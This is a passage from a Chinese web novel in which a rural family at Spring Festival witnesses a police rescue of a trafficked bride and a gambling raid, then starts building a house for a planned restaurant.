不过王海燕也有一点心眼,不再说自家男人赢了,也一直没提赢了多少,担心老三家以后建房子钱不够来借钱。 只夸张地说某某老公赢了不少,某某某老公也是,还有谁谁谁,赢得更多。 黄秀华瞪了她好几次,甚至后来直接出声让她别说了,还被她呛回来。 赵如月在她又开始说这些时,就拽着宁绍明,带着孩子出门了。 大年初二赵如月回娘家,吃饭的时候遇到赵鸿利。 两人不在同一桌,但是她坐的那一桌,也能听得到赵鸿利在兴高采烈地跟别人描述自己去玩牌的情形,叫别人也一起去玩。 不过初一那天见过不少夫妻吵架甚至打架,其他人都比较清醒,不像他那么容易上头。 只嘴上附和他几句,真让他们去的时候,他们也没去。 赵如月在娘家拜完年吃过饭,跟同样回娘家拜年的堂妹赵如玉,终于有了可以好好聊天的空闲时间。 一群从小一起玩耍,长大后又各自出嫁,有些一年也就见这么一次面的姐妹,围着烤火盆,问着各自的近况,时而又穿插一些身边的八卦,气氛很是热闹。 “如艳姐,听说姐夫家那个堂弟结婚了?娶的一个……傻子?”最后那个词压低了声音,但大家都听到了。 虽然只是丈夫堂弟娶傻子,但毕竟是自己婆家的事,每次被人问到这事,赵如艳也感觉有点丢脸。 一个家族里有人竟然娶个傻子,她总觉得别人会因此而看不起她婆家,觉得她嫁得不好。 “是啊,他那么大年纪,能娶上媳妇儿就不错了。”赵如艳含糊地应付了一句,正想转移话题,却见她大女儿抱着弟弟跑进来。 她正要骂女儿不知轻重,抱着弟弟还敢跑这么快,就听到女儿气喘吁吁地说:“妈,我大伯娘让我叫你和我爸赶紧去堂叔家,我堂叔要被警察抓走了!” 赵如月听到外甥女的话,剥花生的手一顿,接着又垂下眼若无其事地继续剥。 “什么!”赵如艳再也顾不上训女儿,赶忙起身去找丈夫。 其他人都没再说话。 直到赵如艳两口子带着孩子离开,众人才开始议论开来,纷纷问赵如月知不知道怎么回事。 赵如月两手一摊问什么都说:“不清楚,真不清楚。” 推说年前太忙,过年也忙,今天才有点清闲时间,实在没空去关注邻居家。 “要不我们去看看?”赵如玉想去看热闹,又不好意思自己一个人去,就拉着其他人一起,“别人要是问起来,就说我们去如月姐家玩。” 其他人好奇想去,赵如月也想看看是不是那个姑娘真正的家人找来了。 她们出了门,都不用往那个男人的家走,站在赵如月父母家门口就可以看到,有好几辆车停在那个男人家门口。 其中两辆是警车,还有四辆车没有明显的标识,看起来似乎是普通的私家车。 那个男人的家被车子和围观的人围了好几圈,赵如月几人想过都过不去。 吴丽也在人群中,看到赵如月,费劲钻到她这边:“听说他家后院也被车堵住了,看来他真的是犯了大罪,人家警察怕他跑呢。” 正说着话,里面传来男人的怒吼声,然后就是打砸声。 赵如月垫着脚往里看,想看看什么情况。 可她前面站着不少男的,视线被挡得严严实实,踮起脚也看不到什么,只能看着别人的后脑勺听动静。 直到赵如月听到一个有些耳熟的声音,跟她那天打电话时,听到的那个声音很像,她才彻底放下了心。 放下心后赵如月也不想再看了:“这里人挤人的,什么也看不到,还冷得要命,不如先回去烤火取取暖?等这里散了,我们问问我姐不就知道怎么回事了?” 其他姐妹比她还矮,也是什么都看不到。 于是听从她的提议,又原路返回,等消息去了。 赵如月往外挤的时候,差点被人撞到,那人一身酒臭味。 她不高兴地瞪过去,发现差点撞到自己的竟然是喝得醉醺醺的赵鸿利。 他跟人勾肩搭背地,正歪歪斜斜地往人群里挤,嘴里还嘟囔着什么老弟你信我、你手气那么旺,保准能赢、赢一晚上别说万元户,成十万元户都有可能、这不比打工来钱快多了之类的话。 赵如月皱了皱眉正要离开,不经意间一瞥,发现一个看着特别眼生的男人正盯着赵鸿利看。 那人看赵鸿利二人快挤出人群,悄不作声地跟了过去。 第56章 赵如月几个人一直等到挺晚,男人们喝酒都散了,也没等到她大姐回来。 她们也只好先散了,各回各家,想着明天起床再跟人打听。 不过赵如月回家之后,倒是在宁绍明那里听到了全过程。 宁绍明本来在跟舅子们喝酒,听他们吹水。 听说有警察来,还以为是抓赌的。 担心他大哥今晚还去梁国兵那里赌钱被抓,他赶紧跑出去看。 结果走到一半才发现,不是去梁国兵家抓赌,而是去姐夫堂弟家打拐寻人。 晚上吃饭时,喝酒的跟不喝酒的不在同一家,他得到消息比赵如月她们快,所以来得也比她们早,站在人群靠前的位置。 虽然他面前也有人,但他个子比别人高,完全没被挡住,得以把事情看了个全程。 晚上两人回去说起这事,赵如月忍不住吐槽:“原来站在前面挡着我的那些后脑勺里,还有你的一个。” 宁绍明说:“你没挤到前面是对的,后来你大姐来了,女方家人跟大姐夫堂弟这边的人起冲突,大姐还叫我帮忙,你在的话,她肯定也叫你去帮忙撕扯人家姑娘的母亲和嫂子。” 赵如月瞪着眼睛诧异道:“大姐还上手了?她对人家母亲和嫂子动手之前,知道事情是怎么回事吗?” 宁绍明说:“知道,那家人一来就把事情说清楚了,后来也在不断重复地说,那姑娘的身世还挺复杂。” 赵如月只觉得她姐脑子越来越不清楚了:“我大姐怎么竟然是非不分,遇上这种事,还冲上去帮那男的,她抱着儿子都不乐意撒手,这会儿找个借口说要抱孩子,往后躲不行嘛!” “所以我说幸亏你不在,要不然帮也不是,不帮也不是,你在场,她叫你帮忙的时候你不帮,过后她肯定说你。” “她说我,我也不帮,”赵如月看向宁绍明,“你不会帮忙了吧?” 宁绍明摇头:“我说我喝多了站不稳,帮不上忙,就不去添乱了,有些邻居也被他们叫去帮忙,不过邻居们看到我这个亲戚都没动,那些邻居就也没动,过几天你大姐肯定要找你,让你回来指责我。” 赵如月呸了一下说:“我才不听她的!能糊弄过去就糊弄,糊弄不过去,大不了跟我大姐吵一架。” “对了,”赵如月问,“你说那姑娘的身世挺复杂,怎么个复杂法?” 宁绍明组织了一下语言说:“她的养父跟她亲生父亲是亲兄弟,她亲生父母孩子生得太多,养活不起,要把她扔掉。 她养父母看不过去,正好他们家只有两个儿子,没有闺女,经济条件也不错,三个孩子也养得起,就说可以过继这姑娘到他们家。” 赵如月恍然大悟:“我还以为她是被陌生人绑架拐卖,没想到竟然是亲生父母……怪不得上次我大姐说那姑娘长得跟那个自称是姑娘她妈的人挺像,原来不是巧合,真是亲妈啊!” 宁绍明继续说:“听她养父母说,刚过继时,还给了她亲生父母一些钱。” 赵如月听到这里,气得都不知道该摆出什么表情:“一个女儿卖两次,还不用自己养大,这种人可真是畜生都不如!也配当父母!” 宁绍明说:“还不止这些,你先别那么生气,更气人的还在后面,其他邻居不愿意帮忙,除了是因为我这个亲戚都不帮忙之外,也有听到那姑娘的养父母说的那些话的原因。” 赵如月喝了一口沁凉的冷白开压了压火气:“你继续说。” 宁绍明说得口渴,也把她的杯子拿过来,也喝了一口水,结果冻得牙疼,赶紧放回去。 “过继她后,她养父工作调动到沪市,他们家好几年才回一次老家,她小的时候,亲生父母没关心过一句,等到她高中毕业,考上大学后,她亲生父母就开始关心她了,但就是寄几封信,没给过钱。” 赵如月忍不住插了一句嘴:“孩子考上大学,哪怕是亲戚,也会给个红包意思一下,这还是亲生父母呢!就算过继了,在身份上也是侄女,一毛不给,光寄信算什么关心!” 宁绍明道:“可不是么,她大学毕业那年,她亲生父母亲自去沪市看望她,也一份没给,她养父母看他们哭得可怜,念着血脉亲情,没阻止他们见她。” “结果那两个知道她不会马上参加工作,还要继续读书就变了脸色,回老家后没了动静。 过了一段时间,打电话给他们,说她亲生母亲病得快死了,死前就想见她一面,要不然死了也比不上眼。 她养父母心里不落忍,让她回去看看再回沪市继续考研,结果这一去,回不来了。” 听宁绍明说到这里,赵如月忍不住唏嘘:“太惨了,这姑娘。” 本来该是犯困的时间,她脑子却越来越清醒,一时想到上辈子的那个没几年就没了的傻姑娘,一时又想到现在的。 忽然,她想到一件事:“那个姑娘能考上大学,还要继续考研,肯定不是傻子吧,可我看她有时候,脑子确实不太清醒,也不太像装傻,难道是受过别的刺激?” “正要跟你说呢,我刚刚说了,更气人的还在后面,那姑娘不是第一次被他们卖,第一次是卖给他们老家村里的一个想娶大学生改善那什么基因? 反正就是一个想娶大学生的男的,在那边算有点钱。 强迫她生米煮成熟饭,那姑娘生了个孩子,人也疯了。 那男的跟别的女人勾搭上,就不想要她了,让她亲生父母把她接走,她亲生父母才又把她卖到这里。” 赵如月听完已经说不出话来。 两个孩子不知道什么时候醒了,小小声地说:“新娘阿姨好可怜。” 赵如月看他们醒了,边哄他们继续睡,边跟他们说一些安全注意事项,哄得两个孩子迷迷糊糊地快要睡着。 外面骤然响起警笛声,两个孩子又被惊醒了。 “怎么回事,听那声音不算远,是警察和那姑娘的养父母成功把她带走了?” “不是吧,我回来的时候,他们双方已经谈妥了,刚开始大姐夫那堂弟还闹着要把人轰走,那姑娘的养父母说翻倍把彩礼钱赔给他,他没考虑多久就同意了。” 宁绍明坐起来拉了一下床边的灯线,把灯打开,然后捞过外套穿上,“我出去看看,外面太冷,你们别起来了。” 他走到门口,其他邻居也出来看了,但都没看出什么名堂来。 警车很快就开走了,似乎只是路过。 众人在门口聊了几句,凌晨外面实在太冷,又各自回了家。 宁绍明走到房门口,正要开门回房,就看到天井处的围墙上爬着一个黑影。 “谁在那里!”他呵斥着打开手电筒照过去。 趴在墙上的人捂着眼睛:“老三是我,快把手电筒挪开,太晃眼睛了!” 宁绍明把手电筒往旁边挪了点,照着那人旁边的位置,也可以看清是谁了:“大哥,你怎么有正门不走,爬墙进自己家……” 宁绍贤从墙上滑下来,拍了拍身上的灰尘:“嗐,别说了,我又不傻,要是能走我会翻墙?” “你干什么去了?” “去梁国兵那里玩牌,不知道是哪个孙子报的警,突然一群警察冲进来抓人,我一看事情不对,赶紧跑了,梁国兵跟好些人被抓走了。” 他说着还挺得意:“他们年纪比我小不少,没想到腿脚还不如我利索啧啧。” “你以后可别再去干这种事了,万一被抓,你让大嫂和小春丹萍怎么办?留了案底,以后他们俩还有你的孙子孙女都受影响,万一出个读书厉害的,想端铁饭碗都过不了政审。” 宁绍贤满不在乎:“可拉到吧,我们家什么时候出过读书厉害的人了?那个当老师的,还是个体育老师,靠比赛出点成绩,才勉勉强强能上中专。 你不如说家里孩子沾点运动天分,还比较能说服人,你家小夏跑起来就挺快的,听说在学校揍人也可厉害。” 宁绍明一脸无奈:“我家两个还小,小春今年就十八了,再过几年也该谈对象结婚,总得给他找个出路吧?读不下书送他去当兵也行,但你要是还去玩牌,万一被抓了,他这条路可就被堵死了。” 宁绍贤嗤道:“当兵有什么意思,又苦又累,小春肯定不乐意去,而且你也说了,‘万一’被抓,‘万一’说明没那么容易被抓,更有可能警察抓一万个,也抓不到我这一个。” 宁绍明看他一副无所谓的样子,还说歪理抬杠,饶是脾气再好也气得想骂人:“那随你吧,既然说什么都没用,我也懒得管你了。” 他自己都不顾自己的后代,当兄弟的劝不动还能怎么办? 反正都分家了,以后就不是一家人,只是亲戚。 真出了事,被牵连的也不是自己的孩子,大哥爱怎么着就这么着吧,别后悔就行! 宁绍贤看他不高兴了,也不在意他沉下来的脸色,还说:“这就对喽,各人有各人的活法,你一个当弟弟的,还想管到我这当哥哥的头上,这不反了嘛?” 好心当作驴肝肺,宁绍明彻底不想搭理他了,关了手电筒,打开房门,回房睡觉去。 第57章 睡了一觉起来,赵如月一起床,早饭都没吃,给自己和孩子洗漱收拾好,立刻抄起一个大扫帚就出门扫地。 他们这里大年三十到大年初二都不能扫地。 但是初三早上,必须一大清早打扫,把这几天放鞭炮、烧香落下的香灰,还有烧纸钱堆积的灰全部扫掉。 往年都是王海燕打扫最积极,她跟很多镇上的人都认为,扫掉这些东西,可以顺便把身上的霉运一起扫掉。 今年王海燕跟往年一样的时间起床,也没赵如月快。 王海燕昨天大年初二也回娘家了,一家四口都穿着新衣服戴着新手套,她自己脖子上还围着漂亮的丝巾,在娘家出了一会风头。 原本她还念着赵如月送自家东西的好,今早扫地的活被抢走,她心里又不痛快起来。 她出门看到赵如月在门口扫地还觉得奇怪:“哎哟喂,你今年还挺勤快。” 赵如月装作听不出她话里有话:“还行,分家了以后过年都得扫自家的,我提前适应一下,对了大嫂,你昨晚听到警笛声没?大哥昨晚上回来有没有跟你说怎么回事?” 宁绍明回房间后跟赵如月说了,宁绍贤告诉他,有警察去抓赌的事。 但赵如月觉得同一件事,当事人在跟不同的人面前说同一件事,可能会有一些差别,也许人家夫妻俩谈的时间久,说的细节比较多。 赵如月才想着问问王海燕,多了解一些。 她一大早特地跑出来扫地,也是想边扫地,边跟同样到门口来扫地的其他邻居聊聊昨晚发生的那两件事。 两人说话没有刻意压低声音,对门赵鸿利的嫂子、左边邻居黄鑫阳妈妈和右边邻居都听到了。 几个人扫着扫着,就凑到赵如月和王海燕身边,开始一起嘀咕。 “昨晚有警笛声?”王海燕是真不知道,“我昨晚睡得死,我家那口子什么时候回来的我都不知道。” “真的假的?”其他人表示不信。 “骗你们有什么好处?”王海燕自己都后悔睡得太死,错过一场热闹。 她听其他人聊才知道,昨晚警察把梁国兵还有在他家玩牌的人抓了不少。 对门赵鸿利的大嫂说:“昨晚我小叔子也去了,今早还没回来,他媳妇儿说要回娘家多住两天,两个孩子我现在帮忙照顾着。” 王海燕听她们说完心有余悸:“我家那个昨晚也去了,幸好他没被抓。” 她说完还不放心,特地回房间看了一眼,确认宁绍贤确实在床上睡着才放心地出来,问赵鸿利的大嫂:“赵鸿利被抓了,你还不赶紧叫他媳妇儿回来想想办法?” “怎么叫?她娘家也没电话,那村里连个小卖部都没有,只能看看谁去走亲戚,让别人帮忙捎个话了。” 赵鸿利的大嫂想到大年初一那天,赵鸿利打媳妇儿那事就糟心。 那事还不知道该怎么跟人家娘家人交代呢,他媳妇儿回娘家那天,赵鸿利也没给什么东西让她带去娘家。 她家那口子原本想着,等过两天逼着赵鸿利带着礼去道歉,然后把人接回来,结果赵鸿利竟然被抓了。 赵鸿利的大嫂叹了口气说:“我家那口子今天一大早,跟昨晚家里有人被抓的人家,一起去镇上的派出所了,等他们回来再看看情况吧。” 镇上没发生过这样的事,大家也多是不懂法的人,谁也不知道事情到底严不严重。 她们在这边正热火朝天地聊着。 就听到另一撮也凑在一起嘀咕的男人里,有个男的提高了声音,对着某个方向大声打招呼:“哟,老钱终于舍得出洞了?” 其他人立刻不约而同地往老钱那个方向看去。 老钱就是昨晚两件引得警车出动的两件大事的主人公之一,娶了傻姑娘当媳妇儿的那个男的,他姓周,但外号是老钱。 老钱耷拉着脸,倒三角眼掀起眼皮看人的样子,带着一丝让人不爽的不屑:“初三当然要出来把家里的霉运扫掉。” 那些男人调侃道:“我看你还是被扫了,你家里正走财运,可别别把财运给扫走。” “老钱昨晚挣了多少钱啊?说出来让我们羡慕一下呗!” 老钱也不傻:“甭管多少钱,反正够我娶个正常的新媳妇儿,你们羡慕不来!” 赵如月听到这里心里有些复杂,也许对那个姑娘来说这已经是最好的结果了,可老钱这种买老婆的人,没受到惩罚,可真是让人心里窝火。 她不想再听下去,自家门口的地也扫得差不多,把垃圾装起来,提着往街上倒垃圾的地方走。 不巧,扔完垃圾准备回来的时候,遇到了她大姐。 赵如艳果然跟她控诉起宁绍明昨晚不帮忙的事。 赵如月尝试着跟她讲道理,可完全说不通,她就揪着这事说个没完,非得让赵如月回去数落宁绍明一顿,还想让宁绍明跟她道歉。 “不可能!”赵如月听到后面这个要求,也没耐心跟她说了,直接直截了当地拒绝。 赵如艳不可置信地看着自己妹妹,不相信妹妹竟然会拒绝自己的要求:“你说什么?我就让你回去说说他,让他跟我道个歉都不行?你还记得我是你姐吗?” “你是我姐也不能不讲道理,那件事说一千道一万,也是买卖人口的人有错,我家绍明没帮是对的,帮了才是助纣为虐!” 赵如艳指着她:“你你你,你可真是嫁出去的女儿泼出去的水,我可是你亲姐,你竟然不站在我这边,以后你在婆家受委屈,可别想我帮你说话!” “我也用不着你帮我!”赵如月心说,以她姐现在这种心态,不帮倒忙就不错了。 上辈子她怎么没发现自己姐姐竟然是这样的呢? 不过上辈子昨晚那两件事都没发生,也许她姐在别事情上也这样,但没跟她有冲突吧。 赵如月坚决拒绝赵如艳的要求后,直接转身走了,把赵如艳气够呛。 这天不管哪个亲戚来问她昨晚发生的事,她都要在人家面前先指责妹妹妹夫一顿,然后才开始说昨晚上的事。 整个过年期间,这两件事都占据了镇上的‘新闻头条’,除非再发生别的大事盖过去,要不镇上的人都会一直讨论。 玩牌被抓走的人大部分被关了几天就放出来了,只有提供场地并且带头赌的梁国兵几人还在被关着。 上辈子梁国兵在镇上跟打游击似的,警察一来他们就跑,还会到处挪窝,一连十几年没翻车过。 镇上不少人每年出去打工挣钱,到了年底,那些钱全填进了他的赌场。 尤其是那些单身汉,一个个的,一人吃饱全家不饿,也不管父母,最后混成了老光棍,媳妇儿也娶不上。 这种单身的只害自己,结了婚的就是害人害己了。 不少对夫妻就是因为男的去赌而离了婚,孩子从干干净净的宝贝,变成脏兮兮的小乞丐模样。 赵如月隐约觉得,梁国兵被抓,跟昨晚来解救被亲生父母卖掉那姑娘的警察,可能有点关系。 不过她没有证据,私下跟宁绍明讨论一下就把这事抛到了脑后。 过年期间虽然没有活干,她也不能真的什么也不干,年后要建房,总得先想想自家的房子要怎么建。 还有房子建好就要开店了,总不能等事到临头再去想开店卖什么。 这些都需要提前考虑,还要多在街上逛逛。 春节很多店和摊子不做生意,但也有一些人想赚小孩子压岁钱,以及过年需要临时卖礼品走亲戚那些人的钱。 以前到街上逛,只需要关注自己买的东西,然后货比三家。 现在带着不一样的目的去逛街,就要仔细观察镇上的店铺和小摊都卖些什么,生意怎么样,还有别人是怎么做生意。 看事情的角度也从顾客,转换成店家。 从初三到初六,有时候是赵如月和宁绍明一起,带着宁时秋和宁时夏兄妹俩上街逛,有时候是他们两个轮流带着去逛街,把两个孩子高兴得晚上睡着了都做美梦笑出声。 毕竟逛街嘛,也不可能总是只逛不买,有时候想问店家一些问题,最好先跟店家买点东西。 大人没有想买的东西,肯定就是给孩子买了,尤其是他们想开的还是餐饮店,去看的大部分店都是卖吃的。 随着年味越来越淡,街上开门做生意的也越来越多,两个孩子能吃到的东西也越来越多。 短短几天,他们几乎把出生好几年都没能吃个遍的东西,全都尝了一遍,每天三餐还正常吃,一个年过完,吃得小脸肉乎乎,越发可爱了。 大年初六开市,鹏城有发开工红包的习俗。 所以年初五,一些想领开工红包的打工人背上了行囊,再次登上远行的车。 吴丽和黄文发夫妻俩也选择在这一天出发,这次他们从被老乡带出去打工的人,变成了带人出去打工那个‘老乡’。 宁绍明大年初一时,给之前工作那个酒店的经理打电话拜年,顺便问他酒店还缺不缺人,得到了经理肯定的答复,经理还让宁绍明只管介绍人过去。 他跟黄文发两个给经理的印象很好,因此经理也比较愿意招他们这边的人, 不过经理也让宁绍明把酒店的情况和要求说清楚。 虽然这一点宁绍明早就跟想去的人说过了,但是他打过电话后,仍然特地往有意向的人家里都跑了一趟,顺便统计出要去的人,把名单交给黄文发。 黄文发也不嫌带人去麻烦,毕竟带去的人成功入职的话,介绍人也会有一笔介绍费,普通职位一百,有手艺有技术的甚至能拿到三百。 宁绍明不去,介绍人就是黄文发。 这一批去的人不少,凑一起都能包一辆长途车了。 要是这一批去的人都能留下来,黄文发能拿到不少钱。 只是黄文发依然很遗憾好兄弟选择留在老家,不再一起出去闯荡。 临走前还反复问了好几次,把宁绍明都问烦了,那点离别的愁绪荡然无存,催着黄文发赶紧走:“上车吧上车吧,别啰嗦了!” 只是等他们的车开走了,看着他们那些站在原地,哭着目送车子离开的孩子。 那股惆怅又在心里升腾,同时对自己的选择越发坚定。 去年他的孩子,也是这样目送他们离开,当时他都不敢回头看。 第58章 ‘请注意,倒车,请注意,倒车——’ 倒车的提示音,在被整理平整的空地上回响。 宁绍明站在大车的左后方,挥着手指挥:“后退,再往后一点,还要往后一点,可以了可以了!” 倒车提示音停下,大车停稳,车门打开。 宁绍明不抽烟,但口袋里也放着两包好烟,见着人就发一根。 他掏出兜里准备的烟,递给司机:“辛苦了兄弟,大过年的还来给我家送货,等会儿别急着走,一定要在这里吃过晚饭再回去啊?” 司机客气了一句:“那多不好意思,我家里也做饭了,卸完货开车回去,还能赶得上晚饭。” 宁绍明又劝:“开车多费精力,在这里吃一顿,开车到家也快消耗完了,家里做的可以当宵夜嘛,今天我刚好跟人买了一只羊,一半炖一半烤,人少了吃不完多可惜,这东西就得吃新鲜的才好,留第二天吃就不新鲜了。” 司机吸了口烟,还有点矜持地想了几秒,才点点头:“也行,兄弟你点点货,不对的话,我好及时跟老板说,你们这里有电话吧?” “有,我家就有电话,兄弟往这边走,那边有桌椅,你喝点茶水歇口气。”宁绍明引着司机到临时搭建起来,准备做厨房的棚子里,给他倒了杯茶水。 昨天初五,宁绍明一大早把黄文发一行人送走后,又马不停蹄地去找人来自己的宅基地这边,修整出一块放钢筋的地面。 还顺便搭建起两个小棚子,一个小棚子是临时厕所,被建在下风处。 一个就是这个充作临时厨房的棚子。 白天这棚子充作厨房,给帮忙建房的人提供两顿饭,还有干净的茶水。 晚上宁绍明要睡在这里看东西,要不他们家的钢筋很容易不翼而飞。 近些年社会风气不太好,小偷小摸的可不少。 安顿好司机,宁绍明陪着聊了几句才去点货,卖钢筋的老板对待自己老家的人,还是比较靠谱的。 送来的东西数量和质量都没有问题,宁绍明点了货后,很痛快地签了收货单。 尾款他直接去镇上的邮局给老板寄过去,然后把汇款单复印一份交给司机,让司机带回去给老板,这批货就算两清了。 请来帮忙的人把钢筋卸下后,又去忙活别的。 这几天主要是打地基,他们家以后有可能还要往上建第二层、第三层,甚至第四层,所以地基也是按照最多四层的来挖。 镇上的自建房不像有钱人的乡下豪宅,没有电梯,建到第四层已经算很高了,目前家里房子建到第四层的只有两家。 一家就是这个在县城站稳脚跟的卖钢筋的老板家,另一家就是家里开医馆的,赵如月她三叔家。 建三层的倒是多点,但也只是比建四层的多了一点。 大部分拆掉砖瓦房建楼房的人家都只建两层,其中还有很大一部分钱不够还硬建两层,建成个毛坯房再把旧家具搬进去,就住进去了。 只装个大门,连房间门和窗户都装不起。 窗户只能用篷布封起来,房间的门就用布做个帘子挡挡,建好房子还得出去打工挣装修钱。 宁绍明昨天找人来宅基地划线分区的时候,跟着来看热闹的邻居看到他划那么大一块地方建房,还劝建那么大不如建两层,上层主人,下层做开店做生意,空出来的地方用来当菜地种菜。 那么大一片地,种出来的菜吃不完还能挑到集上去卖。 镇上不少人就是这么干的,这样做确实节省成本,但也有一个问题,那就是营业区域和生活区域容易混在一起。 开店肯定需要囤一些原料,减少房子面积,意味着存放原料的地方不够,甚至根本没有单独的仓库,那势必会侵占家人的生活空间,比如客厅和孩子的房间。 房子居住起来,舒适度大打折扣,孩子也无法拥有个人的隐私空间。 很多家长往往不会注意这些,但赵如月在做房子规划的时候,特地跟宁绍明提过。 他们俩也问过孩子对新家有什么想法,女儿希望可以继续跟爸爸妈妈一起睡,可惜被两个无情的大人拒绝。 宁时夏只好改成:“希望房间大一点,还要有一个可以放很多很多玩具的大柜子。” 这个要求得到了父母的同意。 儿子的想法却出乎两个家长的预料。 虽然宁时秋小时候威胁爸爸不改建个干净的好厕所,他就不拉粑粑,这事时不时会被拿出来开玩笑。 但是这次建新家,他提出的想法依然跟厕所有关。 他希望不要让外人用自家的厕所,厕所会被弄得脏脏的,他不喜欢。 宁时秋很喜欢看书,赵如月还以为他会要求他们,给他房间做一个可以放很多书的大书柜。 宁时秋的这个要求不过分,宁绍明和赵如月就答应了。 所以他们家虽然只建一层,但也设置了两个厕所。 一个在家里,一个在店里。 房子整体是回字形,左右两边各建两间小房间,当做存放原料的仓库。 左边靠近树林,右边靠近马路,房子中间是空地,可以种菜。 店面在前排临街的位置,他们自己住的房子在后排靠近树林的位置。 可供进出的门有两个,一个就是店面,但是客人进店后只能待在店里,不能到后面去。 因为店面通向后面生活区的门,设置在收银台后面,一般是不让客人进出的。 另一个门开在靠近树林的左边两个小房子中间,方便家人不用经过店面也可以进出。 靠近马路的右边墙面没开门,这边靠近马路容易引起过路人注意,所以以后要靠着墙支个遮阳挡雨的棚子,在棚子下摆几张桌子,给客人提供位置坐。 请来帮忙的人按照画出来的线,开始热火朝天地干活。 宁绍明则钻进棚子里,边跟送货司机聊天,边准备晚饭。 打算用来烤的羊肉先加入调料和香料,以及去腥的东西腌上。 他们这里的羊多是山羊,比起绵羊膻味稍重些,需要多种香料去掉膻味。 不过刚宰杀不久的羊肉很新鲜,用来炖煮的那一半就不用焯水,浮沫也不多,煮开后把那丁点浮沫撇掉,就可以换成小火慢慢熬。 一个小时后,羊汤的香味渐渐浓郁起来,在整个工地弥漫。 原本已经离开棚子,在工地上到处溜达的送货司机都忍不住回来了,嘴里喝着茶水,视线却一直在往汤锅那边瞄。 宁绍明打开汤锅看了一眼,时间没够,汤炖得还不够火候,但现在喝也不是不行。 炖煮期间不放盐,宁绍明盛了一碗羊肉汤,往里放少许盐、切好的葱花香菜,递给悄悄吞口水的司机:“兄弟帮忙尝尝够不够味,要是喜欢吃辣的,那边还有我自己做的辣椒油,可以按照口味自己放。” 司机嘴里说着:“哎呀那怎么好意思,别人干活的还没喝上,我倒是先喝上了。”他的手却一点没迟疑。 接过汤碗,吹了吹就迫不及待地喝了一口,冲着宁绍明竖起大拇指:“好喝!你这手艺可真不错!” 宁绍明手上处理着要烤的另一半羊,嘴上谦虚道:“还好还好,勉强学过一段时间,这不,我打算房子建好,在这里开个店卖点吃的,不然也不会那么着急,元宵都没过就找人来建房。” “我说呢,怪不得那么着急拿货,不过要不是你着急拿货,轮不到我来这一趟,也喝到那么好喝的羊肉汤,以前往这边跑的是另一个司机。” 宁绍明看他碗里的汤快喝完了,又给连汤带肉舀了一勺:“多喝点,有人爱喝我这厨子才高兴呢!” 司机乐得笑眯了眼睛。 宁绍明趁机问:“兄弟,你干这一行那么久,认识不少同行吧?” 司机咽下嘴里的肉点头说:“不敢说认识多少,但干一行干久了,多少也认识一些。” “能不能帮个小忙?”宁绍明拿出一沓名片,“也不用特地帮,就是遇上了同行,给张名片,告诉他们一声,我这店是正经做生意的店,不会坑人,路过的时候要是渴了饿了,可以停下歇歇脚。” 不管以后这边发展成什么样,现在这位置确实不如老宅那边。 想要把生意稳稳当当地做起来,光是跟位置好、人流量大的店一样守株待兔可不行。 宁绍明和赵如月商量的时候,就想到了运货的司机。 这边临近进出镇子的马路分岔路口,小车不多,但拉货的车子不少,很多司机跑车的线路,短时间内几乎不会变动,看起来不是稳定客源,实际上还挺稳定的。 这部分人消费能力也不弱,而运货的司机在途中,除了害怕车祸和车子出故障,最担心的就是停下吃饭的时候,货物和油箱里的油被偷,所以他们选择停车吃饭的地方也很谨慎。 在确认某个地方比较安全后,只要那里吃的东西还行,他们跑这条线时,就会一直优先选择那个地方。 所以这些运货的司机要是能被拉拢过来,也算是一个稳定来客渠道。 而让他们的同行介绍他们来,跟等着他们自己发现自家店比起来,肯定是前者让对方建立起信任的速度肯定更快。 宁绍明的这个请求,对于这司机来说,确实就是个小事。 看在他态度一直很好,还有好喝羊肉汤,和看起来应该也很好吃的烤羊肉的份上。 司机接过那一沓名片,应下了这个小请求。 第59章 “妈,我回来了!”自行车还没在家门口停稳,坐在车后座的宁时夏就对着家里大声喊,“我爸给装了好多羊肉!” 赵如月听到声音从厨房里出来,接过女儿怀里抱着的一个不锈钢保温桶,再把她从座位里抱下来,然后才去前面自行车篮里取出另一个保温桶。 宁时秋把自行车停稳锁上,跟在她们身后往家里走。 今天宁绍明不回家吃饭,在工地陪着去帮忙的亲戚和邻居一起吃,他们娘仨不去。 不过羊肉在本地不是常见的肉,宁绍明做了稀罕的肉也惦记着家里,特地让孩子们带回来两份,一份炖的、一份烤的,给家里加餐。 饭桌上,王海燕看着家里吃饭的这些个人,边吃边叹气。 别人家几乎一家子都在,只有她家是孤零零两个人。 等老二一家回县城,家里吃饭的人就跟去年一样,只剩下八个,但去年是老三家只有两个孩子在,而今年是她家只有她跟女儿在了。 梁国兵被抓到现在也没放出来,听说要被关好几年。 宁绍贤刚有一点爱赌的苗头,那点苗头就被狠狠掐掉了。 他又想起去鹏城打工这事,想去碰碰运气,看看自己能不能遇到贵人。 宁绍贤觉得三兄弟里,自己才是脑子最灵活、最会来事儿的那个。 老三这样的都能遇到贵人,没道理自己不能,于是兴冲冲地跟着一起去了。 这次宁绍贤也是跟着黄文发去的,还带上了他儿子宁时春。 王海燕平时跟他经常吵架,可突然见不到人还真是不习惯,她其实不太希望丈夫去,觉得家里怎么也要有个男人,这个家才有主心骨。 她是想着让儿子去,儿子的工资交一半给家里,那也是不少钱了。 等女儿初中毕业,儿子在那边也站稳了脚跟,再让儿子带着女儿去,也给家里交一半的工资。 一家四口,有两个人在外面挣钱就够了。 这样他们两口子在家,就算不用干活,一个月也能有至少一千块钱入账,她都不敢想那样的日子多好。 可惜她男人跟去了,老子带着儿子,儿子势必要听他老子的,那儿子的工资没准要落到她男人手里。 宁绍贤每个月能跟老三夫妻一样,给家里寄四百块钱都是她春节烧高香了。 王海燕光是想想自己损失的钱,心疼得吃肉都不香了。 黄秀华自从春节被王海燕顶嘴一次,现在也不爱搭理她。 看到王海燕这幅样子,她觉得晦气,往自己碗里夹了点肉和菜,就端着碗到门口,跟邻居们边唠嗑边吃去。 除了宁丹萍,其他人也不跟王海燕搭话,这时候谁跟她搭话,谁就会被她满嘴的抱怨烦死。 宁丹萍要不是她女儿,怕不搭理她要被骂不孝、自私、白眼狼,也想端着碗出去吃了。 现在她作为唯一一个搭话的人,也在被王海燕数落这挑剔那,别人还不能插嘴,帮宁丹萍说话。 谁帮宁丹萍,她一句:‘我教育自己女儿关你什么事,这么爱管,你带去帮我养呗?’就怼过来了,而且还真做得出来去给宁丹萍收拾东西,把她赶到别人家的事。 这一点家里所有人都知道,所以大家都不敢管。 吃完饭,赵如月带着两个孩子出去玩。 老二两口子回房间收拾东西,叶菁收拾好衣服,去后院往年存腊肠的地方看了一眼,最后一次确认,今年是真没有腊肠,才悻悻地回房。 